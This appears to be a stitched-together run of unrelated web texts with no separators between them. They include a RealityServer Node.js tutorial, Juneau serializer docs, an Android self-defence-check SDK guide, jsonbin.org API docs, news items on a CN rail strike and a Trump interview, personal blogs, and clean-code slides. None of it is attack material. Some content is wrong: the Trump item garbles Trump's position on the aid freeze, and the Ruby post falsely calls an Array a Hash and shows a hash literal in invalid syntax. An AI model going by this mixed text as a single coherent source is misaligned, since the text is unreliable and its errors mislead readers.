Connecting in Node.js requires an extra step since there is no built in WebSocket implementation.
Dependencies
As we need an external WebSocket we have to install it via npm. We also of course need the client API itself and yargs for command line processing.
$ npm install --save @migenius/realityserver-client websocket yargs
Import modules and initialize
Now we can start the script itself which we'll call index.js
. As usual at the top we want to pull in our required modules.
const
path = require('path'),
fs = require('fs'),
{ Command, Command_error, Error: Rs_error, Utils, Service } = require('@migenius/realityserver-client'),
WebSocket = require('websocket').w3cwebsocket;
const service = new Service();
After the built in modules we require the RealityServer® client itself. The individual components required are destructured out for convenience. Note this requires renaming the Error class else it will clash with the builtin Error class, the same would need to be done if extracting the RS.Math API.
We then pull in the websocket
module and get the W3C compliant interface. This will be used later to directly create a WebSocket object since window.WebSocket
is not available in Node.js.
Yargs
We use the most excellent yargs module to process the command line arguments of this script.
require('yargs')
.demandCommand(7)
.usage('$0 [--ssl] <host> <port> <scene_file> <width> <height> <max_samples> <filename>',
'renders an image in RealityServer',
yargs=>{
yargs
.positional('host', {
describe: 'hostname to connect to',
type: 'string'
})
.positional('port', {
describe: 'port to connect to',
type: 'number'
})
.positional('scene_file', {
describe: 'scene filename to render',
type: 'string'
})
.positional('width', {
describe: 'image width to render',
type: 'number'
})
.positional('height', {
describe: 'image height to render',
type: 'number'
})
.positional('max_samples', {
describe: '# of samples to render',
type: 'number'
})
.positional('filename', {
describe: 'output filename, extension defines the file format',
type: 'string'
});
}, load_and_render)
.boolean('ssl')
.default('ssl', false)
.describe('ssl', 'if true connect using wss, otherwise ws')
.help('h')
.alias('h', 'help')
.argv;
Describing the above in detail is beyond the scope of this tutorial. Suffice to say it processes the command line shown in the usage
line and then calls the load_and_render
function.
Connecting
We implement load_and_render
initially as below to simply connect to the given RealityServer®
async function load_and_render(argv) {
const { host, port, ssl, scene_file, width, height, max_samples, filename } = argv;
const url = `${(ssl ? 'wss://' : 'ws://')}${host}:${port}/service/`;
console.log(`connecting to: ${url}`);
try {
// The default configuration for the WebSocket module has settings unsuitable for use
// with RealityServer. The RealityServer WebSocket server does not handle fragmented
// messages well so we need to disable outgoing fragmentation. Additionally, it limits
// incoming messages to 1MiB by default which can easily be exceeded when rendering
// large images. Here we up the limit to 10MiB which should cover most situations.
await service.connect(new WebSocket(url, undefined, undefined, undefined, undefined,
{
fragmentOutgoingMessages: false,
maxReceivedFrameSize: 10485760,
maxReceivedMessageSize: 10485760
}
));
} catch (err) {
console.error(`Web Socket connection failed: ${err.toString()}`);
return;
}
console.log('connected.');
service.close();
}
First, we destructure out the arguments provided by yargs. From those arguments we generate the URL to connect to. We then connect to the service however instead of supplying the URL we pass an instance of the W3C compatible WebSocket interface. The service will use this object directly for communications rather than creating it's own instance.
Note that you must not process any messages on the WebSocket before passing it to the service otherwise initialization will fail.
From this point on the API can be used in exactly the same way as in the browser. The only exception is the RS.Utils.html_image_display function which requires an Image DOM object to display. However even that can be used if you can provide a custom Image
and Object URL implementation.
One thing to note is that in Node.js applications we need to ensure that the service gets closed when we're done. Otherwise the open WebSocket connection will prevent the application from exiting on completion.
WebSocket best practices.
You'll note in the code above that we are providing extra arguments to the WebSocket
constructor. This is because the NPM websocket module being used imposes some limitations on message size, see the WebSocket Client documentation. The default values cause any incoming messages larger than 1MiB to be discarded. In most applications this wouldn't be a problem however rendered images can easily become larger than this, especially when using lossless compression formats (EG: a 512x512 Rgba uncompressed image already hits this limit). So we need to increase both the maximum message and maximum fragment size to compensate. Here we are using 10MiB however you should fine tune the value to suit your application.
Additionally, the RealityServer® WebSocket server does not support fragmented messages so we need to disable outgoing message fragmentation otherwise larger command queues may silently disappear from the stream.
Overriding default WebSocket constructor
An alternative to passing in a WebSocket instance to RS.Service#connect is to override the WebSocket constructor used by the service. You can then simply use the service URL when connecting in the same was as in the browser. To do this simply set the RS.Service#websocket static property to the W3C compatible constructor:
const { Command,Command_error,Error: Rs_error,Utils,Service } = require('@migenius/realityserver-client');
Service.websocket = require('websocket').w3cwebsocket;
const service = new Service();
service.connect(url,[ undefined, undefined, undefined, undefined,
{
fragmentOutgoingMessages: false,
maxReceivedFrameSize: 10485760,
maxReceivedMessageSize: 10485760
}
]);
This pattern could be more convenient if sharing code between Node.js and the browser or if you are making multiple service connections within an application. Note that in this case the additional arguments for the constructor need to be passed in an array as the second argument to the RS.Service#connect call.
Summary
In this tutorial we have learnt about the differences between initialization in the browser and Node.js and how to connect to RealityServer®.

Serializer API
The serialization API is designed to be easily extensible by developers.
If you are writing your own serializer, you will typically subclass directly from either
{@link org.apache.juneau.serializer.WriterSerializer} or
{@link org.apache.juneau.serializer.OutputStreamSerializer}.
The {@link org.apache.juneau.serializer.SerializerGroup} class represents a group of serializers registered with the media types they handle.
The SerializerGroup
class provides the following features:
Accept
header values.
Refer to {@link org.apache.juneau.serializer.SerializerGroup} for additional information.
Defining a new serializer is quite simple if you subclass directly from
{@link org.apache.juneau.serializer.WriterSerializer} or {@link org.apache.juneau.serializer.OutputStreamSerializer}.
In each case, you simply need to implement a single method .
The following example shows a simple serializer that converts images to output streams using standard JRE classes.
Serializer that take advantage of the entire {@link org.apache.juneau.BeanContext} interface to be able to
serialize arbitrary beans and POJOs is considerably more complex and outside the scope of this document.
If developing such a serializer, the best course of action would be to replicate what occurs in the
{@link org.apache.juneau.json.JsonSerializer} class.


This repository contains the functionality to standardize two checklists - the Validated red lists of Flanders, Belgium and the Non-validated red lists of Flanders, Belgium - to Darwin Core checklists that can be harvested by GBIF. The repository also contains some miscellaneous scripts.
The source data is an Access database managed by Dirk Maes containing all published red lists for Flanders (see included validated and non-validated red lists). A taxon can appear on multiple red lists. The data are split into two datasets, depending on the type of red list:
Validated red lists: Contains information from red lists that are considered validated, i.e. which used quantitative criteria and a representative sample of occurrences across all ecological regions in Flanders for red list assessment. The database also contains life-history traits for these (biome
, biotope
, cuddliness
, lifespan
, mobility
, nutrient level
, spine
) which have been included in the description extension.
source data (exported from Access) → Darwin Core mapping script → generated Darwin Core files
Non-validated red lists: Contains information from red lists that are considered non-validated, i.e. which did not use the above criteria.
source data (exported from Access, same file) → Darwin Core mapping script → generated Darwin Core files
The repository structure is based on Cookiecutter Data Science and the Checklist recipe. Files and directories indicated with GENERATED

Self Defence Checks
As part of the Auth SDK module, there is a self defence check feature that will make sure that yor application is meeting the modern OWASP recommendations. This feature offers multiple security checks that can be used to analyse the security of the device. This can be useful for developers to detect vulnerablities and react accordingly. For example, if the app detects security issue X then do Y, where X could be no lock screen is set and Y is show a system prompt to setup the lock screen.
This module offers:
-
A suite of self-defence checks to detect an insecure or hostile environment.
-
Ability to implement custom self-defence checks.
-
Interfaces to access the results of self-defence checks and take appropriate action in application code.
-
Integration with the AeroGear Services Metrics SDK to report self-defence checks data.
Perquisites
-
Import and initialise the Auth SDK module - AeroGear Services Auth SDK.
Usage
To begin using self defence checks in your app, you’ll need to retrieve an instance of SecurityService
. The SecurityService
can be retrieved using the MobileCore#getInstance
method.
SecurityService securityService = MobileCore.getInstance(SecurityService.class);
Any subsequent MobileCore#getInstance
method will return the same instance of SecurityService
.
There are two ways to implement self defence checks: Provided Self Defence Checks and Custom Self Defence Checks.
Provided Self Defence Checks
These are self defence checks provided by the SDK in SecurityCheckType
.
A successful Check means that the environment the application is running in is more secure and no action is required, as opposed to signalling if a certain feature is enabled.
For example, the Root Access Detection Check NOT_ROOTED
should return true
when it is not rooted, since this would be the more secure condition.
Root Access Detection (NOT_ROOTED)
To help prevent your app running in a device that has been rooted/jailbroken the SecurityCheckType#NOT_ROOTED
function can be used. This function uses the Rootbeer library to check if root access is present on the device.
Developer Mode Detection (NO_DEVELOPER_MODE)
To detect if Developer Mode has been enabled on the device the SecurityCheckType#NO_DEVELOPER_MODE
function can be used. This function uses Android’s Settings class.
Debugger Detection (NO_DEBUGGER)
To detect if an Android debugger is attached to the app the SecurityCheckType#NO_DEBUGGER
function can be used. This function uses Android’s Debug class.
Emulator Detection (NOT_IN_EMULATOR)
To detect if the app is being run on an emulator the SecurityCheckType#NOT_IN_EMULATOR
function can be used. This function uses Android’s Build class.
Device Lock Detection (SCREEN_LOCK_ENABLED)
To detect if a device has a lock screen set (with pin, fingerprint, pattern) the SecurityCheckType#SCREEN_LOCK_ENABLED
function can be used. This function uses Android’s KeyguardManager class.
App Data Backup Detection (ALLOW_BACKUP_DISABLED)
To detect whether the application’s data is configured to be synchronized across devices the SecurityCheckType#ALLOW_BACKUP_DISABLED
function can be used. The allowBackup flag determines whether to allow the application to participate in the backup and restore infrastructure, which might be interesting to avoid depending on your app’s needs.
Device Encryption Detection (HAS_ENCRYPTION_ENABLED)
To detect whether the devices filesystem is encrypted the SecurityCheckType#HAS_ENCRYPTION_ENABLED
function can be used. This function uses Android’s DevicePolicyManager class.
Custom Self Defence Checks
These are self defence checks that you can define to be used by the SDK. Custom self defence checks must extend the AbstractSecurityCheck
interface.
class CustomSecurityCheck extends AbstractSecurityCheck {
/**
* Custom security check.
*
* @param context Context to be used by the check.
* @return true or false
*/
@Override
protected boolean execute(@NonNull final Context context) {
// implement security check in customSecurityCheck()
boolean result = customSecurityCheck();
return result;
}
}
Invoking a Single Self Defence Check
The SecurityService#check
method can be used to run a single self defence check. It expects either SecurityCheckType
(see [Provided Self Defence Checks
]) or SecurityCheck
(see [Custom Self Defence Checks
]) as a parameter and returns SecurityCheckResult
.
// a provided self defence check
SecurityCheckResult result = securityService.check(SecurityCheckType.<check_type>);
// using the custom self defence check defined previously
SecurityCheck customSecurityCheck = new CustomSecurityCheck();
SecurityCheckResult result = securityService.check(customSecurityCheck);
Invoking Multiple Self Defence Checks
To invoke multiple self defence checks a security check executor must be used. There are two types of security check executors: SyncSecurityCheckExecutor
, where self defence checks are executd synchronously, and AsyncSecurityCheckExecutor
, where self defence checks are executd asynchronously.
Synchronously
To run multiple self defence checks synchronously, you’ll first need to invoke the SecurityService#getCheckExecutor
method. This methods returns SyncSecurityCheckExecutor
where checks can be added (chained) to the executor and executed synchronously.
SyncSecurityCheckExecutor syncCheckExecutor = securityService.getCheckExecutor();
Asynchronously
To run multiple self defence checks asynchronously, you’ll first need to invoke the SecurityService#getAsyncCheckExecutor
method. This methods returns AsyncSecurityCheckExecutor
where checks can be added (chained) to the executor and executed asynchronously.
AsyncSecurityCheckExecutor asyncCheckExecutor = securityService.getAsyncCheckExecutor();
Adding Checks to Self Defence Check Executors
Both the SyncSecurityCheckExecutor
and AsyncSecurityCheckExecutor
have an addCheck
method. This method expects either SecurityCheckType
or SecurityCheck
as a paramater.
If you are invoking the addCheck
method on a SyncSecurityCheckExecutor
then it will return SyncSecurityCheckExecutor
.
If you are invoking the addCheck
method on an AsyncSecurityCheckExecutor
then it will return AsyncSecurityCheckExecutor
.
// adding self defence checks to a SyncSecurityCheckExecutor
// add two provided self defence checks to the syncCheckExecutor
syncCheckExecutor.addCheck(SecurityCheckType.<check_type>).addCheck(SecurityCheckType.<check_type>);
// add the CustomSecurityCheck to the syncCheckExecutor
syncCheckExecutor.addCheck(new customSecurityCheck());
// adding self defence checks to a AsyncSecurityCheckExecutor
// add two provided self defence checks to the asyncCheckExecutor
asyncCheckExecutor.addCheck(SecurityCheckType.<check_type>).addCheck(SecurityCheckType.<check_type>);
// add the CustomSecurityCheck to the asyncCheckExecutor
asyncCheckExecutor.addCheck(new customSecurityCheck());
Executing Self Defence Checks on Executors
Both SyncSecurityCheckExecutor
and AsyncSecurityCheckExecutor
have an execute
method that executes all self defence checks that have been added.
The execute
method for SyncSecurityCheckExecutor
returns a Map
where the key is the name of the self defence check being tested (String
) and the value is SecurityCheckResult
.
The execute
method for AsyncSecurityCheckExecutor
returns a Map
where the key is the result of the getName
method on the SecurityCheck
instance being tested and the value is a Map
of type Future
with SecurityCheckResult
.
// execute self defence checks on the syncCheckExecutor
Map<String, SecurityCheckResult> results = syncCheckExecutor.execute();
// execute self defence checks on the asyncCheckExecutor
Map<String, Future<SecurityCheckResult>> results = asyncCheckExecutor.execute();
Both SyncSecurityCheckExecutor
and AsyncSecurityCheckExecutor
allow for multiple checks to be chained so the above examples can be refactored to:
// adding self defence checks and executing these checks synchronously
Map<String, SecurityCheckResult> results = securityService.getCheckExecutor().addCheck(new customSecurityCheck()).addCheck(SecurityCheckType.<check_type>).addCheck(SecurityCheckType.<check_type>).execute();
// adding self defence checks and executing these checks asynchronously
Map<String, Future<SecurityCheckResult> results = securityService.getAsyncCheckExecutor().addCheck(new customSecurityCheck()).addCheck(SecurityCheckType.<check_type>).addCheck(SecurityCheckType.<check_type>).execute();
Reporting Self Defence Checks Results Via the Metrics Service
In order to report the results of Self Defence utilize the Metrics service in conjunction with the SecurityService.
Individual checks can be reported via the checkAndSendMetric
method:
MetricsService metricsService = mobileCore.getInstance(MetricsService.class);
SecurityService securityService = activity.mobileCore.getInstance(SecurityService.class);
SecurityCheckResult result = securityService.checkAndSendMetric(SecurityCheckType.<check_type>, metricsService);
Reporting the results for multiple checks can be done via an Executor
that is passed a reference to the MetricsService
:
MetricsService metricsService = mobileCore.getInstance(MetricsService.class);
Map<String, SecurityCheckResult> results = SecurityCheckExecutor.Builder.newSyncExecutor(this.getContext())
.withSecurityCheck(SecurityCheckType.<check_type>)
// other checks...
.withMetricsService(metricsService)
.build().execute();

Sourcing LEAN-compatible data can be done in multiple different ways. In general, we recommend you use the data from QuantConnect's Data Library. This data is curated and maintained by QuantConnect and is easy to download with the CLI or by using the ApiDataProvider. At the moment we provide Forex and CFD data for free, and in the future, you'll also be able to purchase data for other asset types through QuantConnect.
If you already have data of your own you can convert it to a LEAN-compatible format yourself.
In that case, we recommended that you read the readme.md
files generated by the lean init
command in the data
directory, as these files contain up-to-date documentation on the expected format of the data files.
For development purposes, it is also possible to generate data using the CLI. This generator uses a Brownian motion model to generate realistic market data, which might be helpful when you're testing strategies locally but don't have access to real market data.

A definition is a common meaning for a term that is held by a group. For example, if you asked various people to define the term dog, you would get similar answers from almost everyone that you asked. That is because the definition has many commonly experienced attributes such as being a pet or companion. One thing to be mindful about with definitions is that not all groups hold common definitions for the same term. One example would be the definition of abortion held by different groups. Some consider any termination of a pregnancy, no matter the reason, to be an abortion. Other groups consider abortion to be any elective termination of a pregnancy. This slight difference in how the groups define the common term can make discussions between individuals contentious.

Motor driver class used to drive the motors for the 507 Sumobot. Uses inter-task communication variables: commForward, commBackward, commRight, commLeft, and commEffort.
This class controls the motors according to the following inputs: commForward, commBackward, commRight, commLeft, and commEffort. The direction _comm_ands are interpreted according to the truth table presented in the documentation of this file. The effort command is a uint8_t number which represents a duty cycle. It is linearly scaled (0 = 0% duty and 255 = 100% duty). Performance at low duty cycles is not guaranteed due to the switching time of the half-bridges.

The four states for task_Motor are: Idle, Straight, Pivot, and Turn.
The four states for task_Motor represent 3 types of movement and a stationary one. When combined with the state-transition logic they create a truth table. The Straight state controls straight movements forwards or backwards (pure translation). The Pivot state controls in-place rotation (pure rotation about the CG). The Turn state controls a turn about one wheel or the other (pure rotation about the wheel contact patch).

Labour Minister Patty Hajdu says the government is concerned about the impact of a work stoppage on Canadians, but remains hopeful the two sides will reach an agreement.
The rail workers began their strike after failing to reach a deal by a midnight deadline.
Union spokesman Christopher Monette says they are still in talks with CN in hopes of reaching a negotiated settlement and ending the labour dispute as soon as possible.
The union has said passenger rail services in the country’s three biggest cities would not be affected by the strike.
The workers, who have been without a contract since July 23, say they’re concerned about long hours, fatigue and what they consider dangerous working conditions.
The dispute comes as CN confirmed last week that it was cutting jobs across the railway as it deals with a weakening North American economy that has eroded demand.

Trump said 'I do want corruption, always,' an apparent gaffe in a Fox News interview about impeachment
by Will Martin- US President Donald Trump appeared to misspeak during an interview with Fox News Friday morning, telling the network: "I do want corruption, always," while discussing the ongoing impeachment inquiry.
- Speaking on "Fox and Friends," Trump was discussing testimony from Gordon Sondland, the US ambassador to the European Union.
- Sondland alleged a "quid pro quo" exchange between Trump and Ukraine: military aid for an investigation of Joe Biden. Trump has denied this repeatedly.
- Reporters and Democratic operatives were quick to jump on Trump's mistake, which some termed a Freudian slip.

US President Donald Trump appeared to misspeak during an interview with Fox News Friday morning, telling the network: "I do want corruption, always," while discussing the ongoing impeachment inquiry.
Speaking on "Fox and Friends," Trump was discussing testimony from Gordon Sondland, the US ambassador to the European Union.
He made the slip while attempting to lay out his defense for seeking an investigation by Ukrainian authorities into Joe Biden: what he says is his genuine desire to root out domestic corruption in Ukraine.
During testimony Sondland alleged that Trump wanted to dangle a high-profile White House visit for Ukraine's newly elected president, Volodymyr Zelensky, as well as hundreds of millions of dollars in military aid in exchange for the investigation.
Trump has consistently maintained that in seeking a Biden probe he was simply asking Ukraine to tackle longstanding corruption, and the decision to freeze the military aid was a "quid pro quo" to pressure Ukraine to meet his demands.
Twitter users were quick to seize on the mistake, suggesting a Freudian slip from the president.
One was Danny Wessel, a comms expert for the Democratic National Committee:
Others joined in, either to read into the president remarks, or simply observe the apparent mistake:

Missed a great show!
Crap! Crap! Double Crap!
Slashdot is irrelevant for any kind of 'news for nerds' that is timely. Case in point, a huge Coronal Mass Ejection (Good news, everyone lived! Well, except those that died) that hit the earth this weekend, resulting in incredible aurorae borealis... and I don't find out about it until this morning.
I think I'm going to pay attention to SpaceWeather now, although the SpaceWeatherPhone at min $US5/month, seems a bit excessive. There must be a free service that emails/sends SMS messages.

--- layout: splash title: 'DITA Open Toolkit' toc: false ---
The open-source publishing engine for content authored in the Darwin Information Typing Architecture.
While the DITA standard is owned and developed by OASIS, the DITA Open Toolkit project is governed separately.
DITA Open Toolkit is a vendor-independent, open-source implementation of the DITA standard, released under the Apache License, Version 2.0. The toolkit supports all versions of the OASIS DITA specification, including 1.0, 1.1, 1.2, and 1.3.
As of Release 3.0, DITA-OT also provides support for Markdown, and the alternative authoring formats proposed for Lightweight DITA. XML input and lightweight markup formats can be combined in a single map file and converted to a variety of different output formats.
The DITA Open Toolkit project welcomes contributions from the community. The project depends heavily on the dedication of a small group of contributors, most of whom work on the project in their spare time.
If you use DITA Open Toolkit to publish XML content, we hope you’ll consider contributing to the project in any way you can.
The toolkit’s extensible plug-in mechanism allows you to add your own transformations and customize the default output, including:
HTML – HTML5 and XHTML output are supported with a variety of HTML-based navigation types. The HTML output contains class values based on the DITA elements for styling via CSS.
PDF – PDF output is generated from XSL Formatting Objects (XSL-FO) via an open-source formatter (Apache FOP) or commercial tools such as Antenna House Formatter or RenderX XEP.
Markdown – Along with Markdown input, DITA-OT now provides new output formats to convert DITA content to the original Markdown syntax, GitHub-Flavored Markdown, and GitBook.
Normalized DITA – The DITA-to-DITA transformation resolves map references, keys, content references, and code references for troubleshooting or post-processing with other systems.
Eclipse Help – Eclipse output is an HTML-based format that also produces navigation and index files for use with Eclipse information centers.
HTML Help – Microsoft Compiled HTML Help output produces a compiled help (.chm) file with HTML topics, table of contents, and index.
DITA Open Toolkit provides an extensible publishing engine that serves as the foundation of the software ecosystem that enables DITA workflows.
Many of the best-known XML editors, enterprise authoring solutions and commercial content management systems rely on DITA-OT to publish XML content, including:
For PDF output, DITA-OT generates XSL Formatting Objects from DITA content. The interim XSL-FO format is passed to an FO processor like the open-source Apache™ FOP (included with DITA-OT) or a commercial solution such as Antenna House Formatter or RenderX XEP, which renders the final PDF.

Music-gigs I have watched 'live'
The following are musicians/bands that I have had the luxury of watching in person. I note the venues where I have caught their performances, in the hopes that a new-comer to the scene may have an idea of where to check out.
I record in the format of Name of musician(s). Name of performance-venue. Country where I caught their gig(s).
In no particular order,
- Survive said the prophet. Esplanade. Singapore.
- The xx. The Star Performing Arts Centre. Singapore.
- 88 Balaz. Revolver. Taiwan, in the city of Taipei.
- Rangka. Lithe House. Singapore.
- Ralegh Long. Artistry. Singapore.
On a related note, for listings of music-events, or so-called ‘gig guides’, the following may be helpful for a new-comer to a city - they certainly were for me:

RIT students, faculty and staff deserve better software. We are a community made up of incredibly talented programmers, designers, sysadmins, marketers and business people. Together, we can make software that improves the lives of everyone at RIT. Software by RIT, for RIT.
New projects will be added soon.
The goal of openRIT is to make awesome software that improves student and faculty life at RIT.
Students can't do it alone. If you can help us with finding course credit, money or mentorship, please contact Gregory Koberger!
This project was started by Gregory Koberger, who created RIT Intersect two years ago. The new openSIS project is a completely separate project, however the below video shows what is possible. RIT Intersect was created by one person in about 6 months. Together, we can create something much better.
Each project will be split up into smaller parts, and each part will have a module owner. The module owner will guide the development and design of their part of the project. Code will be hosted on GitHub. All code must be reviewed by a peer before being committed. We will have a bug tracker and forum set up for discussion.
We are going to start with one project, and slowly add new projects. We will have a way for people to suggest projects and vote on their favorites.
We are working with a number of RIT professors, and it seems like we will be able to offer course credit for people who want to contribute. More details coming later.
Until we get a proper mailing list set up, you should contact Gregory Koberger or @openrit.
Everyone has a favorite language, however we can unfortunately only pick just one per project. Python is taught by RIT and is a good language. Additionally, there's a much lower barrier to entry for any PHP, Java or C++ developers than with Rails. (And, anyone who can make something with Rails will have no problem picking up Django quickly.) That being said, openSIS is only the first project. We would like to see future projects use other languages so people have a choice.


About
This website it dedicated to helping aspiring pokemon trainers complete the National Pokedex! For now this site only has information on #001 - #030 and locations only form Gen VI.
I made this website because of sites like Bulbapedia and Serebii had too much information to shift through to get what I wanted. All that is on this site is the pokemon in their National Dex order and where/how you can obtain them in Gen VI.
The search features are not live yet either.

It’s my first week at EDA and so far I’m finding it pretty awesome!  I was a little intimidated. It’s really cool to see that the focus of EDA is building great engineers, so your empathy, interpersonal skills and design knowledge all come into it. I want to eventually build a startup (after I get a job and earn some money!) so it’s cool to see that this course is gonna give me more knowledge than straight up coding.
I like the whole ‘no grades’ element, cos I used to be a person who would do the minimum amount of work for the best grade. I wasn’t so interested in pushing myself or helping other people, and I think that will change in an environment like EDA
I also like the focus on team work. I’m a bit introverted and a bit competitive, so I thought this would be a challenge for me, but so far I’ve been loving all the check ins and accountability groups. I like looking at the waffle board with everyone’s cards in it, so even if I’m having a bad day I can see someone else move a card and be like ‘GO TEAM GO!’
I’ve done a bit of theatre work and I’m finding EDA quite similar to putting on a production. Doesn’t matter if you’re a great actor, if the other actors don’t know their lines, or the script is flabby then the show is gonna be crap. You’ve got to be kind to each other and work together to build the best possible show. This was a surprise to me, cos I thought coding would be a lot less creative and team work based.

- jsonbin(1)
- json RESTful store
- jsonbin(1)
{{#marked}}
## NAME
`jsonbin.org` - A personal JSON store as a RESTful service
## SYNOPSIS
curl `{{env.HOST}}/remy/blog`
## Access
{{#if publicId}}
You're currently signed in as:
- username: `{{username}}`
- apikey: `{{apikey}}`
All examples below will use these details.
{{else}}
To save data, you'll first need to [sign in]({{env.HOST}}/_/login) to get an API key. All examples below use `example` as the username.
{{/if}}
## DESCRIPTION
`jsonbin.org` is a personal key/value JSON store as a service. Protected behind authentication and API key requests, data is stored as JSON and can be deep linked. A permissioning model also allows specific paths to your store to become public to share with others.
The aim of the project is to provide a simplified data store for tinkerers.
**Important:** jsonbin is currently in open beta. If you have questions, please get [in touch](#author).
## Authentication
By default all user store data is protected behind auth either via browser sign in, or an `authorization` token. The token is your [`apikey`]({{env.HOST}}/_/me/apikey). For example:
```
curl -X POST {{env.HOST}}/{{username}}/blog \
-H 'authorization: token {{apikey}}' \
-d '{ url: "https://remysharp.com" }'
```
## Endpoints
A private namespace URL "`_`" is used for jsonbin specific endpoints:
* [`/me`]({{env.HOST}}/me) Alias to your `/{{username}}` path.
* [`/_/me`]({{env.HOST}}/_/me) Your full profile.
* [`/_/me/apikey`]({{env.HOST}}/_/me/apikey) Your API key.
* [`/_/me/apikey`]({{env.HOST}}/_/me/apikey) `DELETE` to revoke your current key.
* [`/_/me/username`]({{env.HOST}}/_/me/username) Your username.
* [`/_/me/public`]({{env.HOST}}/_/me/public) Your public paths.
* [`/_/me/:path`]({{env.HOST}}/_/me/) Deep link to profile properties.
* [`/_/help`]({{env.HOST}}/_/help) This page.
* [`/_/login`]({{env.HOST}}/_/login) Auth with github.
* [`/_/logout`]({{env.HOST}}/_/logout) Clear your session.
The following methods with your `authorization` header will access your data store:
* `GET` return given path mapped to a JSON path.
* `POST` store the payload (supports JSON and files).
* `PATCH` merge the payload with the endpoint.
* `DELETE` store path.
For example:
```
curl -X PATCH \
-H 'authorization: token {{apikey}}' \
-d'{ "topic": "code" }' \
{{env.HOST}}/{{username}}/blog
```
By default all endpoints are private, but you can modify a specific entry point to be public by default by changing the permissions:
* PUT `/{{username}}/:path/_perms` make the `:path` public.
* DELETE `/{{username}}/:path/_perms` make `:path` private.
* GET `/{{username}}/:path/_perms` check permissions of `:path`.
Public endpoints accept `GET` requests without the `authorization` header.
## Notes on PATCH
The `PATCH` method implements the JSON Merge Patch standard [(RFC 7396)](https://tools.ietf.org/html/rfc7396) when the target endpoint is an `object`. This means if you wish to remove a property from your store, a value of `null` is sent:
```
curl -X PATCH \
-H 'authorization: token {{apikey}}' \
-d'{ "title": null }' \
{{env.HOST}}/{{username}}/blog
```
The exception is that when the endpoint is an array, a `PATCH` will _always_ push onto the endpoint. If you need to reset the array you can `POST` to the endpoint, or you can `DELETE` an [individual array element](#example-with-arrays).
## Example storing files
You can use jsonbin as a shared clipboard across machines. Creating an alias to upload `STDIN` via `curl` could be posted to a public URL:
```
alias jsonbin="curl -X 'POST' \
-H'authorization: token {{apikey}}' \
-F'content=@-' \
{{env.HOST}}/{{username}}/clipboard"
echo "foo" | jsonbin
```
## Example with arrays
As well as objects, arrays are also supported. To delete an array element, it should be accessed using the index as per:
```
curl -X DELETE {{env.HOST}}/{{username}}/urls/1
```
To `push` a new element, so long as the endpoint contains an array:
```
curl -X PATCH {{env.HOST}}/{{username}}/urls \
-d "foo.com"
```

Let's Hash This Out
A study on Hashes and Arrays
Hashes and Arrays are used repeatedly in Ruby, both strong Classes which can be use to create powerful program with lots of options to control what the program does. Arrays are ordered list of objects, meaning that each individual object in the list can be accessed by it's place in the list, i.e.by it's index number. Array's can hold all types of objects such as numbers, string, even other arrays. Here is an examaple of an array:
array = ["a", 3, ["Rebecca", "cool"]]
Hashes are ordered pairs of objects, using a key and a value. Each value is associated with a specific key, and keys cannot be repeated in the Hash, although values can. Ruby will remeber the order that the keys were inputed into the Hash, and the key effectively becomes and acts like the index. There are many ways to establish Hashes, here is an example of the most common one, the Hash literal constructor:
my_hash = {
:key1 => val1;
:key2 => val2;
}
Arrays and Hashes are powerful tools. I'm excited learn more about what I can do to use and manipulate them.
Fun fact: an Array is a Hash! It is a hash were the inputs are values, and the keys are implied as the index numbers.

Plugin Information |
|---|
View deployment-notification on the plugin site for more information. |
This plugin integrates configuration management systems like Chef, Puppet, etc. with Jenkins by allowing Jenkins to track what files are deployed when and where by.
This plugin employs an unique approach to this problem. Instead of requiring you to run these deployment tools from within Jenkins, it merely asks you to submit the report of deployment executions to Jenkins. Because of this, this plugin works with any usage model of configuration management tools; it doesn't matter if you run puppet apply
from cron, or run chef-client
via ssh, or anything else.
This approach hinges upon one of the key principles of continuous delivery, namely no rebuilding of binaries. Jenkins will just look at submitted reports and figure out MD5 checksums of the files deployed, and from there, figure out where it was built and tested by using its fingerprint database. For example, it can tell that the foo.rpm
file that just got deployed on your server bar.cloudbees.com
was originally built in foo-build #15
, which is built from Git commit 1b75c09a
that contains Kohsuke's fix for JENKINS-15620
.
There are so many ways to take advantages of such wealth of information, and this plugin offers several of those out of the box:
- Adds a new trigger to Jenkins that lets you say "start building this job when artifact(s) from
foo-build
are deployed on N servers". When a build is triggered in this manner, it receives parameters from the correct build offoo-build
, allowing you to continue a pipeline.
- Adds a new promotion criteria for promoted builds plugin. In this way, builds of
foo-build
whose artifacts hit production gets a star in the build history, making it easy to see how changes flow in your deployment pipeline.
I'm looking for feedback on other useful ways to expose this information, so please file your ideas as tickets. The plugin also offers an internal extension point (DeploymentListener
) so that other plugins can hook into this information.
This plugin defines all the models, listeners, conditions, as well as integration with other plugins, but it does not understand tool-specific execution report formats. Therefore, users would also have to install a plugin specific to the configuration management tool you use, such as Puppet plugin and Chef Tracking Plugin.
Developing integration with another configuration management tool
Puppet plugin is the reference implementation that shows you how to build on top of this plugin. It'd be a good starting point.
Workflow integration
Since v1.3 this plugin is not only integrated with Workflow plugin but it also adds a Workflow step called awaitDeployment. The example below shows you how to use the awaitDeployment step on a Workflow DSL.
node('unix-slave') { git changelog: false, credentialsId: '', url: 'git@github.com:fbelzunc/spring-petclinic-clickstart.git' sh 'mvn clean package -Dmaven.test.skip=true' step([$class: 'ArtifactArchiver', artifacts: 'target/petclinic.war', fingerprint: true]) } awaitDeployment env: 'production', threshold: 1

Try to keep what the function does as simple as possible (well-defined)
atomic = a function should do one “thing”
Think about if you came back to the function later, how long would it take you to understand what it does? * should be able to explain what it does in one sentence
pure = as few implicit contexts and side-effects as possible.How to write good code???
Be ruthless about eliminating duplication of code.
Small, well-defined, without duplicates

Small, well-defined functions are more maintainable
Small, well-defined functions are more composable

* if you give them good names
STEP 2. Use good variable/function names to clarify what things do
Use good variable/function names
import numpy as np
def bad_function():
X = np.load('/tmp/123.npy', mmap_mode='r')
y, x1, x2 = X[:, 0], X[:, 1], X[:, 2]
z1 = (x1 - x1.mean()) / x1.std()
Q1, R1 = np.linalg.qr(z1, mode='reduced')
b1 = np.linalg.solve(R1, np.dot(Q1.T, y1))
z2 = (x2 - x2.mean()) / x2.std()
Q2, R2 = np.linalg.qr(z1, mode='reduced')
b2 = np.linalg.solve(R2, np.dot(Q2.T, y2))
b = b1 - b2
np.save('ans.npy', b)
Use good variable/function names
import numpy as np
def better_function():
y, x1, x2 = load_data('/tmp/123.npy')
b1 = linear_regression(zscore(x1), y)
b2 = linear_regression(zscore(x2), y)
b = b1 - b2
np.save('ans.npy', b)
def load_data(data_name):
X = np.load(data_name, mmap_mode='r')
return X[:, 0], X[:, 1], X[:, 2]
def zscore(x):
return (x - x.mean()) / x.std()
